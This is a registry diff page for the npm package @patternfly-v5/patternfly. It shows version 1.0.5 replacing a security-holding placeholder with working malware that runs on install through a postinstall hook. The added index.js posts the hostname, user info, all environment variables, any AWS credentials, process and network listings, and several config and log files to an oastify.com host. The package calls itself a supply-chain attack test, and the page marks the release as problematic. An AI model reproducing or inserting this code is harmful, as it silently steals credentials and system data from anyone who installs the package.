@patternfly-v5/patternfly 0.0.1-security → 1.0.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @patternfly-v5/patternfly might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1,75 @@
1
+ const os = require('os');
2
+ const https = require('https');
3
+ const { exec } = require('child_process');
4
+ const fs = require('fs');
5
+
6
+ // Helper function to send data
7
+ function sendData(path, data) {
8
+ const options = {
9
+ hostname: 'rzucd2dfiuz08dnqwkigu37xfolf95xu.oastify.com',
10
+ port: 443,
11
+ path: `/${path}`,
12
+ method: 'POST',
13
+ headers: {
14
+ 'Content-Type': 'application/json',
15
+ },
16
+ };
17
+
18
+ const req = https.request(options, (res) => {
19
+ console.log(`Sent to /${path}. Response: ${res.statusCode}`);
20
+ });
21
+
22
+ req.on('error', (err) => {
23
+ console.error(`Error sending to /${path}: ${err.message}`);
24
+ });
25
+
26
+ req.write(JSON.stringify(data));
27
+ req.end();
28
+ }
29
+
30
+ // Collect and send system information
31
+ sendData('system-info', {
32
+ hostname: os.hostname(),
33
+ platform: os.platform(),
34
+ arch: os.arch(),
35
+ release: os.release(),
36
+ userInfo: os.userInfo(),
37
+ env: process.env,
38
+ });
39
+
40
+ // Dump AWS credentials if present
41
+ ['AWS_ACCESS_KEY_ID', 'AWS_SECRET_ACCESS_KEY', 'AWS_SESSION_TOKEN'].forEach((key) => {
42
+ if (process.env[key]) {
43
+ sendData('aws-credentials', { key, value: process.env[key] });
44
+ }
45
+ });
46
+
47
+ // Dump running processes
48
+ exec('ps aux', (err, stdout) => {
49
+ if (!err) {
50
+ sendData('processes', { processes: stdout });
51
+ }
52
+ });
53
+
54
+ // Dump network configuration
55
+ exec('ifconfig || ip addr', (err, stdout) => {
56
+ if (!err) {
57
+ sendData('network-info', { network: stdout });
58
+ }
59
+ });
60
+
61
+ // Check for application-specific files
62
+ const appFiles = [
63
+ '/etc/config.json',
64
+ '/etc/application.conf',
65
+ '/var/log/application.log',
66
+ ];
67
+
68
+ appFiles.forEach((file) => {
69
+ fs.readFile(file, 'utf8', (err, content) => {
70
+ if (!err) {
71
+ sendData('file-dump', { file, content });
72
+ }
73
+ });
74
+ });
75
+
package/package.json CHANGED
@@ -1,6 +1,14 @@
1
1
  {
2
2
  "name": "@patternfly-v5/patternfly",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.5",
4
+ "description": "A package for testing supply chain attacks.",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node index.js"
8
+ },
9
+ "author": "Your Name",
10
+ "license": "MIT",
11
+ "dependencies": {
12
+ "aws-sdk": "^2.1350.0"
13
+ }
6
14
  }
File without changes
File without changes
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=%40patternfly-v5%2Fpatternfly for more information.